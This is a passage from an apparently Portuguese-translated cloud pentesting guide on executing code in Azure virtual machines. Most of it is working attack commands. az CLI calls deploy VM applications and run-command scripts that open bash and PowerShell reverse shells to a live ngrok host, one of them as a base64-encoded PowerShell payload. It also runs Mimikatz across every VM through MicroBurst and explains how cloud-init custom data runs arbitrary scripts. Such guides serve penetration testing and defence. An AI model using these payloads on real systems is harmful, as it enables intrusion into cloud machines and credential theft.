lAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
az sig gallery-application version create \
--version-name 1.0.0 \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
--update-command "powershell.exe -EncodedCommand $encodedCommand"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name deleteme-win4 \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
--treat-deployment-as-failure true
{{#endtab }} {{#endtabs }}
Dados do usuário
Estes são dados persistentes que podem ser recuperados do endpoint de metadados a qualquer momento. Note que no Azure, os dados do usuário são diferentes dos do AWS e GCP porque se você colocar um script aqui, ele não é executado por padrão.
Dados personalizados
É possível passar alguns dados para a VM que serão armazenados em caminhos esperados:
- No Windows, os dados personalizados são colocados em
%SYSTEMDRIVE%\AzureData\CustomData.bincomo um arquivo binário e não são processados. - No Linux, eram armazenados em
/var/lib/waagent/ovf-env.xmle agora estão armazenados em/var/lib/waagent/CustomData/ovf-env.xml - Agente Linux: Ele não processa dados personalizados por padrão, é necessária uma imagem personalizada com os dados habilitados.
- cloud-init: Por padrão, ele processa dados personalizados e esses dados podem estar em vários formatos. Ele poderia executar um script facilmente enviando apenas o script nos dados personalizados.
- Eu tentei que tanto o Ubuntu quanto o Debian executassem o script que você colocou aqui.
- Também não é necessário habilitar dados do usuário para que isso seja executado.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
Executar Comando
Este é o mecanismo mais básico que o Azure fornece para executar comandos arbitrários em VMs. A permissão necessária é Microsoft.Compute/virtualMachines/runCommand/action.
{{#tabs }} {{#tab name="Linux" }}
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
{{#endtab }}
{{#tab name="Windows" }}
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
# Execute a rev shell
az vm run-command invoke \
--resource-group Research \
--name juastavm \
--command-id RunPowerShellScript \
--scripts @revshell.ps1
## Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
## Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
# The content of
echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
{{#endtab }} {{#endtabs }}
Escalação de Privilégios
{{#ref}} ../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md {{#endref}}
Acesso Não Autenticado
{{#ref}} ../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md {{#endref}}
Pós Exploração
{{#ref}} ../../az-post-exploitation/az-vms-and-network-post-exploitation.md {{#endref}}
Persistência
{{#ref}} ../../az-persistence/az-vms-persistence.md {{#endref}}
Referências
- https://learn.microsoft.com/en-us/azure/virtual-machines/overview
- https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/
- https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
{{#include ../../../../banners/hacktricks-training.md}}